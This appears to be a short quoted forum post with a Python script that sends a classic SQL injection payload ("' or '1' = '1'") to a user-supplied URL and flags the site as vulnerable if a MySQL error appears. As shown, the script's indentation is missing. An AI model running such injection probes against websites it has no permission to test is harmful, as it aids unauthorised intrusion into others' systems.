Kod:
import sys
import urllib
import urllib.request
fullurl = input("Please Specify The Vulnerable URL: ")
resp = urllib.request.urlopen(fullurl + "=1\' or \'1\' = \'1\'")
body = resp.read()
fullbody = body.decode('utf-8')
if "You have an error in your SQL syntax" in fullbody:
print("The website is classic SQL injection vulnerable!")
else:
print("The website is not classic SQL injection vulnerable!")
Alıntıdır.
